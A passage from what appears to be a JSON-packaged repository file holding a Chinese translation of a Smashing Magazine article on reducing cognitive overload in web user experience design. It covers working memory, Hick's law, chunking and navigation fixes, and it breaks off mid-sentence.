[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/reducing-cognitive-overload-for-a-better-user-experience.md",
    "content": "> * 原文地址：[Reducing Cognitive Overload For A Better User Experience](https://www.smashingmagazine.com/2016/09/reducing-cognitive-overload-for-a-better-user-experience/)\n* 原文作者：[Danny Halarewich](https://www.smashingmagazine.com/author/dannyhalarewich/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Ruixi](https://github.com/Ruixi)\n* 校对者：[Zheaoli](https://github.com/Zheaoli),[Graning](https://github.com/Graning)\n\n# 减少认知过载可以为用户带来更佳体验\n\n最棒的用户体验是不会让用户察觉到的。它使得界面流畅易用，但成百上千的重要设计决策都是出于引导（用户），引起（用户）兴趣以及规避风险的目的。\n\n如果用户体验设计完成了它的本职工作，（那么）用户根本不会察觉到它们究竟做了些什么。用户在界面和设计上想得越少，那他们就越能集中精力在你的网站上完成他们的目标。 你作为设计师的任务是通过预先清除障碍来为他们达成目标**铺设一条捷径**。\n\n> “急功冒进往往会使结果欠佳。这种方式需要花费很多努力来对如此迅猛的进程作出调整。去他们所在的位置，而不是强迫人们从他们的主要任务上转移注意力。”\n> \n> – Luke Wroblewski, Product Director at Google\n\n别忘了，考虑一下其他的可能性。复杂混乱的界面迫使用户去寻找解决方案，而这原本不该是要最先做的事。面对选项，界面以及导航等等一头雾水的用户很容易在他们的思维过程中茫然无助。即便是短暂的停顿，也足以让用户回到他们正坐在电脑前的现实中去了。\n\n这种过度的思考被称作**认知超载**, 我们在这里会讲一下怎样避开它。首先，我们需要了解一下到底是脑袋里的什么存在过载的风险。 \n\n[![Brain](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image20.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image20-large-opt.jpg)[](#1)  \n\n(图片： [Dierk Schaefer](https://www.flickr.com/photos/dierkschaefer/2961565820/)[](#2)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image20-large-opt.jpg)[](#3))\n\n\n\n### 认知超载的科学根源\n\n认知负荷是指你的工作记忆（或短期记忆）所能处理的信息总量。当你的工作记忆所接收到的信息量超过了你所能顺利处理的信息量时，认知超载就会发生，同时会导致无效的决策。\n\n但是这究竟意味着什么？工作记忆到底是什么？这和设计又有什么联系？首先得了解一下认知负荷理论的起源。\n\n#### John Sweller 和认知负荷理论\n\n尽管对认知的研究可以追溯到几个世纪之前，但直到二十世纪 80 年代才被澳大利亚教育心理学家 [John Sweller](https://education.arts.unsw.edu.au/about-us/people/john-sweller/)[](#4) 应用到教学设计的研究中。Sweller 尝试了解对于任意类型的学习者存储所习得信息的最佳环境。换句话说，如何策划好一堂课？\n\nSweller 的工作最终结集为 1988 年出版的“[认知负荷理论，学习的难度，及教学设计（ Cognitive Load Theor,Learning Difficulty, and Instructional Design](http://www.realtechsupport.org/UB/I2C/Sweller_CognitiveLoadTheory_1994.pdf)[](#128)[](#5)” (PDF)，在 1994 年又重新出版。他的成果包括数据组织结构，被称作 [schema](https://en.wikipedia.org/wiki/Schema_(psychology))[](#6)，还大致描述了有效以及无效的教学方法，而他关于工作记忆局限性的研究结果却对设计师们很有帮助。\n\n在许多方面，Sweller 的工作扩展了 [George Miller](http://www.psychologicalscience.org/index.php/publications/observer/2012/october-12/remembering-george-a-miller.html)[](#8)（一位二十世纪 50 年代的认知心理学家和语言学家，曾检测过短期记忆的极限）的[信息加工理论](http://www.instructionaldesign.org/theories/information-processing.html)[](#7)。Miller 的研究已经深深植根于数字化设计之中，特别是关于[组块](https://www.nngroup.com/articles/chunking/)[](#63)[](#9)的技术，本文将在稍后讨论。Miller 还创作了论文“[The Magical Number Seven, Plus or Minus Two](http://www.psych.utoronto.ca/users/peterson/psy430s2001/Miller%20GA%20Magical%20Seven%20Psych%20Review%201955.pdf)[](#10)” (PDF)，此文促使众多设计师将菜单项限定在 5 到 9 之间，尽管这个手法在数字设计中一直[被贬低](http://uxmyths.com/post/931925744/myth-23-choices-should-always-be-limited-to-seven)[](#11)。\n\n虽然这些策略最初都是被应用于教育领域，但它们也同样适用于用户体验（UX）设计。正如我们接下来要说的：相同的增强学习和记忆的手段同样能够减少用户的烦恼。 \n\n#### 工作记忆\n\n要是在你每次想要打开冰箱门的时候必须得先回答一个斯芬克斯式的谜语，比如：“什么动物早上有四条腿，下午有两条腿，晚上有三条腿？”\n\n它一会就过时了，不是吗？但根据认知负荷理论，这是一种差劲的用户体验。\n\n[![upset 534103 960 720](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image3.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image3-large-opt.jpg)[](#12)\n\n(Image: [Erika Wittlieb) (](https://pixabay.com/en/upset-sad-confused-figurine-534103/)[View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image3-large-opt.jpg)[](#13))\n\n\n\n在了解认知负荷理论之前，你需要理解[工作记忆](http://www.simplypsychology.org/working%20memory.html)[](#14)，即用于在短时间内完成一项任务的大脑活动。工作记忆必须整理外部刺激和短期记忆，如果必要的话也会从长期记忆中提取（信息）。你也可以把工作记忆想象成计算机内存，把长期记忆想象成硬盘。\n\n工作记忆和短期记忆常常互换使用，但它们之间还是有点不一样的地方。工作记忆处理对信息的加工，而短期记忆更像是一个[便笺本](http://www.human-memory.net/types_short.html)[](#15)，用于记录一些比较重要，但是又没有重要到需要调用长期记忆的信息。\n\n我们来看一下这篇文章，解释一下这些差异。在你阅读的时候，可能会在蓝色的文本处遇到一个陌生的概念。你的工作记忆需要理解蓝色文本的概念在文中是什么意思，以便更好的理解文章的涵义。你的长期记忆知道知道蓝色文本代表链接，所以你的工作记忆知道应该去点击这里来获取更多信息。与此同时，你的短期记忆记住你在文章中读到了哪个位置，这样你就不会在从外部页面回到这个页面的时候忘了自己读到哪了；但在第二天的早上，你一准忘了那个位置在哪里。\n\n[![photo 1456406644174 8ddd4cd52a06](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image21.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image21-large-opt.jpg)[](#16)\n\n(Image: [Tim Gouw](https://unsplash.com/photos/1K9T5YiZ2WU)[](#17)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image21-large-opt.jpg)[](#18))\n\n\n\n#### 在设计中的应用\n\n很有影响力的作家 Steve Krug 就是认知负荷理论应用于网页设计的推广者之一。他的著作 [_Don’t Make Me Think_](https://www.amazon.com/Dont-Make-Think-Revisited-Usability/dp/0321965515)[](#129)[](#19) 就被许多设计师认为是一部开创性的作品。\n\n在这本书中有很多有价值的课程，以下是我们的最爱：\n\n*   每个页面都应该能够阐述自身，因为并不能保证用户会对你的网站进行深入了解。 \n*   用户倾向于“最低要求”——即利用最简单直接的方式解决他们的问题，而非是最好的。此外，作为习惯性生物，用户总会反反复复利用同一解决方案，而不会考虑更佳的选择。\n*   如果一个具有一般经验或者能力的人可以利用这套系统来实现他们的目的的话，那么易用性这方面就差不多了。\n*   很多网站是被用来节省时间的。所以，用户常常会有带着类似鲨鱼“不进行下一个动作就去死吧”的心态。\n*   返回按钮是 Web 浏览器中最常用的功能。\n*   就算从来没用过，屏幕上的一个 Home 按钮在视觉上也会给用户一种安慰。\n\n除了 Krug，还有很多人也阐释了认知负荷理论对涉及的作用，[包括 Nielsen Norman 集团的可用性专家](https://www.nngroup.com/articles/minimize-cognitive-load/)[](#20)。\n\n总结一下，在浏览网站的时候用户每次不得不停下来去思考的时候——即便只是一瞬间，也会拖累他们的工作记忆。类似“这玩意儿能点吗？”“Home 按钮在哪儿呐？”“我怎么保存啊？”的问题会彻底摧毁用户体验。\n\n### 认知超载的最常见原因\n\n许多设计的变数都会加重用户大脑的负担，而在用户的日常生活和环境中还有更多你无法掌控的变数。一个用户可能会为第二天的工作演示或者窗外的巨大建筑噪声而忧心忡忡——不管你的网站设计得多么简单易用，这些都会榨干他们的工作记忆。\n\n别忘了，每个用户的工作记忆的容量是不同的。心态平和的用户总是比那些吹毛求疵的人更加能够专注于你的网站。不定期上网的用户则需要比资深网民思考得更多。 \n\n尽管我们没办法对认知超载进行量化，但我们可以通过隔离那些引起设计失误的最常见原因。下面，我们已经把网页设计中的最常见错误类型以及避免的方法整理好了。\n\n### 1\\. 不必要的动作\n\n用户所进行的每个步骤都会增加他们的认知负荷。太多不必要的动作会搅乱用户的思路，或者让用户觉得烦躁。因为用户的工作记忆是专注于完成特定目标的，不必要的动作则迫使他们投入更多的努力，而这又会加重工作记忆的任务，有害无益。最起码，这些毫无意义的步骤会考验用户的耐心。\n\n速度和工作节奏是最大限度减少认知负荷的基本因素。用户想要快速、精准地完成任务，所以，预先去掉（步骤间可能的）时间间隔。\n\n[![Touch of Modern](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image17.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image17-large-opt.png)[](#21)\n\n(Image: [Touch of Modern](https://www.touchofmodern.com/)[](#22)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image17-large-opt.png)[](#23))\n\n\n\n用户在提交自己的电子邮箱地址之前往往喜欢弄清楚自己在登录或者注册什么东西，可是要进入 Touch of Modern 的话非得先注册不可……不管要干嘛！这个强制还非必要的第一步会吓跑一大波潜在用户的。\n\n#### 解决方法\n\n这有个特别棒的小练习，就是找出不必要的动作：**列出用户完成任务需要做的每一步**。比如，发一封电子邮件大概需要这样：\n\n1.  点击 email 图标。\n2.  点击“发送到”输入字段。\n3.  输入 email 地址。\n4.  点击“主题” 输入字段。\n5.  别的杂七杂八。\n\n现在**再看看这个清单有没有什么多余的地方**。有什么想法吗？\n\n你可以默认光标锁定“发送到”输入框，这样彻底干掉步骤 2。这样或多或少都能让用户避免一点麻烦。你消除的每个步骤都是一场胜利。\n\n[![Google](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image2.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image2-large-opt.png)[](#24)\n\n(Image: [Google](https://www.google.com/)[](#25)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image2-large-opt.png)[](#26))\n\n\n\n来我们再看看 [Google 的首页](https://www.google.com/)[](#27)。光标默认在搜索框中闪现，这样所有用户需要做的就是开始输入。这些微小的细节提升了整个体验，所以别忽视它们。\n\n### 2\\. 过度刺激\n\n凌乱，无序还有其它的分散注意力的界面都会扰乱用户眼前进行的任务。就像在多个人同时和你说话的时候你很难集中精力一样，网页上过多的图片、动画、图标、广告、文本还有亮色调之类都在抢夺着你的注意力。\n\n记着，一个人的工作记忆在达成目标的过程中必须通过外界刺激来进行排序。每个干扰，特别是在视觉上显得气势汹汹的那种，都需要用户调用注意力。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image1.gif)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image1.gif)[](#28)\n\n(Image: [LINGsCARS](http://www.lingscars.com/)[](#29)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image1-large-opt.gif)[](#30))\n\n\n\nLINGsCARS 可能是一个极端的例子，但你应该能理解这些掐架的元素有多快，比如鲜艳的颜色和运动，冲击着感官。两处设计不统一的动画效果很可能会对用户产生刺激。\n\n#### 解决方案\n\n新手们记住，**摆脱一切非必要之物**。只留下必要的东西一般来说还是很实用的，这样可以减少加载时间并使体验更加流畅。尤为重要的是，一项关于[美学如何影响一个网站的第一印象](http://static.googleusercontent.com/external_content/untrusted_dlcp/research.google.com/en/us/pubs/archive/38315.pdf)[](#31) (PDF)的研究发现，用户喜欢那些看上去很复杂实际上却很简单好用的网站。 \n\n你也可以通过**改变内容**来达到某种平衡。同一类型太多（比方说文本或者图像）会让人觉得压抑。[得平衡一下视觉内容才好](http://www.itwconsulting.com/blog/the-rise-of-visual-content-and-what-it-means-for-your-web-presence/)[](#32)——图片、视频、图表，等等。让页面更加和谐，也让用户更容易理解。\n\n影视网站 [IMDb](http://www.imdb.com/)[](#35)[](#33) 可以很容易的（单纯）依靠视觉上的内容，但它选择用几乎同等数量的文本来达到平衡。\n\n[![IMDb](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image13.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image13-large-opt.png)[](#34)\n\n(Image: [IMDb](http://www.imdb.com/)[](#35)[](#33)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image13-large-opt.png)[](#36))\n\n\n\n当你整理好一个页面中的必要内容后，要用可以让用户马上理解的方式来组织这些元素。**对称或有意义的不对称布局**是在以一种可以让人更快理解的方式展示信息，就是让大脑少费点力气。对称或有意义的不对称布局不但养眼，它们的结构也让界面更容易产生互动。 \n\n看看 [Groupon](https://www.groupon.com/)[](#39)[](#37) 是怎么利用一个特色冻酸奶交易的文字描述（右中）来抵消其菜单中的文本类别（左中）的吧？利用照片和色块来创建一个结构化的、令人满意的沙漏形状，被文本压在中间。\n\n[![Groupon](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image27.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image27-large-opt.png)[](#38)\n\n(Image: [Groupon](https://www.groupon.com/)[](#39)[](#37)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image27-large-opt.png)[](#40))\n\n\n\n对称不仅仅是把相同的布局放在屏幕的两侧。它关乎[视觉重量和视觉方向的平衡](https://www.smashingmagazine.com/2015/06/design-principles-compositional-balance-symmetry-asymmetry/)[](#41)。照这种方法，非对称的屏幕布局依然是有组织的，就像 [OTHR](https://www.othr.com/)[](#44)[](#42) 在下面展示的那样。\n\n[![OTHR](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image22.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image22-large-opt.png)[](#43)\n\n(Image: [OTHR](https://www.othr.com/)[](#44)[](#42)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image22-large-opt.png)[](#45))\n\n\n\n简化你的页面，只留简单的、非竞争性质的元素只是反对过度刺激的斗争的一半。不要忽视在一个简单的布局中呈现这些元素。\n\n### 3\\. 太多的选择 (希克斯定律)\n\n这有点矛盾：用户想要很多的选择，但太多的选择会让他们不知所措。\n\n希克斯定律（或决策无能）描述的现象：用户可选择的项越多，他们需要用来作决定的时间就越多。而 William Hick 和 Ray Hyman 首次验证他们的理论是在上世纪 50 年代，在最近的十年中，他们的研究结果已经[被数字设计重新定义](https://www.smashingmagazine.com/2012/02/redefining-hicks-law/)[](#46)。不仅有[行为研究](https://faculty.washington.edu/jdb/345/345%20Articles/Iyengar%20%26%20Lepper%20(2000).pdf)[](#47) (PDF) 证实了希克斯定律，而且最近这种现象对大脑的影响也已经[在一个 2015 年磁共振成像研究中被记录下来](https://www.researchgate.net/publication/303676802_HICK%27S_LAW_IS_MIRRORED_IN_THE_BRAIN_AN_FMRI_STUDY_OF_THE_CHOICE_REACTION_TIME)[](#48)。\n\n以设计师的身份理解希克斯定律，把每个选项都想象成一道明亮的闪光。太多的明亮的闪光会带给用户过多的刺激，就像上文中提到的那样。\n\n[![Rakuten](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image6.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image6-large-opt.png)[](#49)\n\n(Image: [Rakuten](http://www.rakuten.com/)[](#50)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image6-large-opt.png)[](#51))\n\n\n\n即使是人气网站的制作者，如乐天，也会犯这种错误。因为他们不懂原理。这就是给用户他们想要的东西，和给用户认为他们自己想要的东西之间的区别。\n\n#### 解决方案\n\n假设你已经摆脱了不必要的和多余的选项，你可以**将多个选项编组**。你经常在那些有广泛品类选择的电商网站上看到它们。\n\n这不一定是很多选择，这只是一次选择很多。如果你可以隐藏一些隐藏的菜单选择，抽屉和折页，你得到的世界将完全不同。这些[大菜单](https://www.nngroup.com/articles/mega-menus-work-well/)[](#52)还是给了用户很多选项，但依然是可接受的范围，不会把他们吞没。\n\n[![Amazon](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image15.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image15-large-opt.png)[](#53)\n\n(Image: [Amazon](http://www.amazon.com/)[](#54)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image15-large-opt.png)[](#55))\n\n\n\n无论如何，[对隐藏导航菜单的展示进行限制，](http://www.awwwards.com/be-careful-about-these-6-web-design-trends-in-2016.html)[](#56) 因此，电子商务和新闻等行业的设计师必须得小心。你可以通过补充页面与其他产品的方式链接到隐藏的菜单来弥补它的缺陷（如亚马逊的“相关购买”的 banner）。或者你可以简单地通过概括隐藏菜单的标题类别，直到它们在一个导航菜单中契合（苹果和 CNN 是这么干的）。\n\n[![CNN](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image11.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image11-large-opt.png)[](#57)\n\n(Image: [CNN](http://edition.cnn.com/)[](#58)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image11-large-opt.png)[](#59))\n\n\n\n你也要多多留意如何将网站的导航组织为一个整体。很多希克斯定律相关的问题可以通过管理信息架构（IA）的方式来处理，我们接下来会谈到“很难找到的网页和功能”部分。\n\n### 4\\. 内容太多\n\n就像刺激过度和太多的选择带来的问题，提供太多的内容会将用户的工作记忆拉扯到四面八方。\n\n你当然只想显示必要内容，但对于一些综合性的网站，一切都是必不可少的。如果你的内容很多，那么你必须学会如何组织它，不给用户带来压力。\n\n[![Arngren](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image24.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image24-large-opt.png)[](#60)\n\n(Image: [Arngren](http://www.arngren.net/)[](#61)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image24-large-opt.png)[](#62))\n\n\n\nArngren 的问题不在于它提供的产品太多，而在于它同时提供的产品太多。多一点的结构和组织会为网站的外观创造奇迹。\n\n#### 解决方法\n\n如上所述，George Miller 的策略[组块](https://www.nngroup.com/articles/chunking/)[](#63)[](#9)是以可控的方式呈现大量的内容。分组数据的技巧使它很好记。一个电话号码被分解为国家代码，区域代码，一组三个数字和一组四个数字——一串 11 个或更多位数太难记了。\n\n你想把很多的产品图像作为你的网上商店的主页的特征吗？别把它们全部列在单独的行和列中，**根据他们的类型进行编组展示**。[Etsy](https://www.etsy.com/)[](#66)[](#64) 通过根据卖方分组，他们能够在其主页上显示更多的产品。\n\n[![Etsy](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image18.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image18-large-opt.png)[](#65)\n\n(Image: [Etsy](https://www.etsy.com/)[](#66)[](#64)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image18-large-opt.png)[](#67))\n\n\n\n[文本块](https://en.wikipedia.org/wiki/Chunking_(writing))[](#68) 包括短段落，充分利用了标题和副标题，以及充足的空间。\n\n如果表单很长而且所有数据是必须的话，试试[步骤拆分](http://webdesign.tutsplus.com/articles/build-a-multi-step-form-interface--webdesign-11715)[](#69)。冗长的表单可能会很带有威胁性，有时甚至会导致（用户）放弃网站。**将表单的信息拆分到独立的页面**，或者至少分成独立的部分，  让它看起来没那么吓人。不过一定要包括一个进度记录，让用户知道还有多少页。\n\n[![Virgin Atlantic](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image19.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image19-large-opt.png)[](#70)\n\n(Image: [Virgin Atlantic](https://www.virgin-atlantic.com)[](#73)[](#71)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image19-large-opt.png)[](#72))\n\n\n\n买机票需要填写一大堆资料，其中没有一个是可有可无的。[Virgin Atlantic](https://www.virgin-atlantic.com)[](#73)[](#71) 通过将它分解成独立页面中的不同步骤来提升原本漫长无聊的体验：选择航班，填写乘客信息，进入付款详情，等等。把所有步骤都放在一个长页中的话会压垮一些用户，还会增加放弃的可能。\n\n### 5\\. 含糊的界面\n\n在认知过载上的罪魁祸首就是混乱的用户界面。用户不应该花很长时间去思考如何完成他们想要的动作，也不该浪费脑力去解读一个图标。\n\n[![SpeedCrunch](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image10.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image10-large-opt.png)[](#74)\n\n(Image: [SpeedCrunch](http://speedcrunch.org/)[](#75)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image10-large-opt.png)[](#76))\n\n\n\n并不是所有的用户都对技术熟悉到能够理解 SpeedCrunch 含糊的图标。就算他们对电脑了解得够多，认识 Windows 和 Mac OS X 顶部的符号，这两个右下角的图标在甚至能让 Alan Turing 花点时间。\n\n#### 解决方法\n\n不要重复造轮子：使用来自其他网站的**用户已知的可视化提示**。用户依靠共同的[隐喻和符号](https://www.smashingmagazine.com/2014/06/affordance-most-underrated-word-in-web-design/)[](#77)来了解控制，即使在他们之前从未去过的网站上也是如此。\n\n要是觉得这太过压抑，你可以给这个**熟悉的模型一个带有鲜明特色的、截然不同的特征**。[Home Depot](http://www.homedepot.com/)[](#80)[](#78) 采用了常见的图标，但采用了他们品牌标志性的橙色。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image5.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image5-large-opt.png)[](#79)  \n\n(Image: [Home Depot](http://www.homedepot.com/)[](#80)[](#78)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image5-large-opt.png)[](#81))\n\n\n\n这同样适用于微观细节。按钮和**标准标签**比如“联系”和“提交”就比非常规的标签如“地址”或者“前往”更容易识别。一般来说，已知的标签使用户的浏览体验更加流畅，而不常见的则让用户停下来思考这个按钮是做什么的。\n\n如果你有一个以前从未见过的功能怎么办？那样的话，**利用现实生活中的表现，让它不解自明**。拟物化，正如其名，[联结](https://www.quora.com/Why-do-we-use-the-envelope-as-an-icon-for-email-and-why-do-we-use-the-floppy-disc-icon-for-the-save-function)[](#82)[现实](https://www.quora.com/Why-do-we-use-the-envelope-as-an-icon-for-email-and-why-do-we-use-the-floppy-disc-icon-for-the-save-function)[](#83)和[数字效果](https://www.quora.com/Why-do-we-use-the-envelope-as-an-icon-for-email-and-why-do-we-use-the-floppy-disc-icon-for-the-save-function)[](#84)。举个例子，早期的互联网先驱们选择了一个信封来代表电子邮件，因为信封是一个明显的标志的邮件系统。\n\n此外，**避免含糊的符号**，特别是他们可能被误认成别的或是带来其它的困惑。下面，有些 [Issuu](https://issuu.com/)[](#87)[](#85) 的图标很容易识别，但其它的不行。如果用户必须点击一个图标才能发现它的功能，那么它们会被淘汰掉。\n\n[![Issuu](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image14.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image14-large-opt.png)[](#86)\n\n(Image: [Issuu](https://issuu.com/)[](#87)[](#85)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image14-large-opt.png)[](#88))\n\n\n\n用一种**全新的眼光**来做设计，确保你没有遗漏任何明显的东西。\n\n看一下 Denis Kortunov 的 [10个常见的图标错误](http://turbomilk.com/blog/cookbook/icon_design/10_mistakes_in_icon_design/)[](#89)的列表，一些不要做的细节——例如，图标太相似，或各自都过于复杂。\n\n任何不够直观的界面应包括[**新手教程**](https://www.useronboard.com/)[](#90) 来告诉用户界面怎么用。简单的网站可以弄一个单独的窗口，特别是如果有一个使人印象深刻的图形来解释功能的话。然而，新的和特殊的界面需要一个更实际的教程。比如，[Slack](https://slack.com/is)[](#93)[](#91) 提供了一个完整的视频介绍，解释发生了什么。\n\n[![Slack](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image8.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image8-large-opt.png)[](#92)\n\n(Image: [Slack](https://slack.com/is)[](#93)[](#91)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image8-large-opt.png)[](#94))\n\n\n\n### 6\\. 很难找到网页和功能\n\n即使用户已经拥有了想要的一切，他们还是很可能找不到。这种状况比功能残缺好不了多少。而底线则是用户需要花些力气来思考需要做什么。\n\n作为用户体验不可替代的一部分，导航应该是简单而无压力的。网站的导航应该是直观的，让用户有一种自在漫游而不必担心迷失的自信。这不仅需要 IA 的额外工作，还需要谨慎地运用。以便让它看上去比实际上的还要简单。\n\n[![Mojo Yoghurt](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image4.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image4-large-opt.png)[](#95)\n\n(Image: [Mojo Yogurt](http://mojoyogurt.com/#/home)[](#99)[](#96)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image4-large-opt.png)[](#97))\n\n\n\n如果你觉得汉堡图标很差劲的话，Mojo Yogurt 则需要你悬停在左上角的 LOGO 那里来显示导航菜单。\n\n[![Mojo Joghurt](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image25.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image25-large-opt.png)[](#98)\n\n(Image: [Mojo Yogurt](http://mojoyogurt.com/#/home)[](#99)[](#96)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image25-large-opt.png)[](#100))\n\n\n\n值得肯定的是一个沿 logo 描边的加载导航的小动画。但在屏幕上有如此之多的色彩和动效的前提下，这么一点含混的提示是不够的。\n\n#### 解决方法\n\n**根据你的用户的喜好来整合你的信息。**你的目标用户可能并不会按照你的方式来，所以还是和他们学着点怎么组织一个网站吧。 [卡片分拣](https://www.smashingmagazine.com/2014/10/improving-information-architecture-card-sorting-beginners-guide/)[](#101)会展示出你的用户将如何对一些页面和主体进行分类。[树测试](http://www.measuringu.com/blog/tree-testing-ia.php)[](#102)可以评估用户对你现在的或者准备采用的模式理解如何。\n\n[![3344341528 9c6ca35c88 o](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image9.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image9-large-opt.jpg)[](#103)\n\n(Image: [Rosenfeld Media](https://www.flickr.com/photos/rosenfeldmedia/3344341528/)[](#104)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image9-large-opt.jpg)[](#105))\n\n\n\n要想速成 IA，还是读一下 Dan Brown 的 《[信息架构的八个原则](https://www.asis.org/Bulletin/Aug-10/AugSep10_Brown.pdf)[](#106)》 (PDF)。在短短的五页内，他就解释了八个十分明确、每个设计师都应该知道的关于 IA 的原则。比如多重分类的原则（即，使用不同的分类方法来适应用户的不同思维方式）和披露原则 (即，透露刚好能让用户知道接下来会发生什么的信息)。\n\n你应该也想**通过合并页面或菜单项来去除冗余**。例如，你不需要为每个团队成员都执行不同的页面——他们可以在同一页面。[Waaark](http://waaark.com/studio/)[](#109)[](#107) 设计工作室通过合并其团队成员介绍，BIOS 和联系信息为同一页面中的三屏来简化了导航。\n\n[![Waaark](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image16.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image16-large-opt.png)[](#108)\n\n(Image: [Waaark](http://waaark.com/studio/)[](#109)[](#107)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image16-large-opt.png)[](#110))\n\n\n\n如果某些功能或特性比其他的部分更重要，那就**使用视觉技巧来吸引他们的注意力**。放大，添加动画，还有使用一种招摇或对比鲜明的颜色都可以吸引用户的眼睛。用一种[新颖的方式](http://conversionxl.com/how-to-grab-and-hold-attention/)[](#111)来展示信息，特别是带一个相关的图像，还有很重要的一点，保证它能被看懂。\n\n[![PayPal](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image12.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image12-large-opt.png)[](#112)\n\n(Image: [PayPal](https://www.paypal.com/)[](#113)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image12-large-opt.png)[](#114))\n\n\n\nPayPal 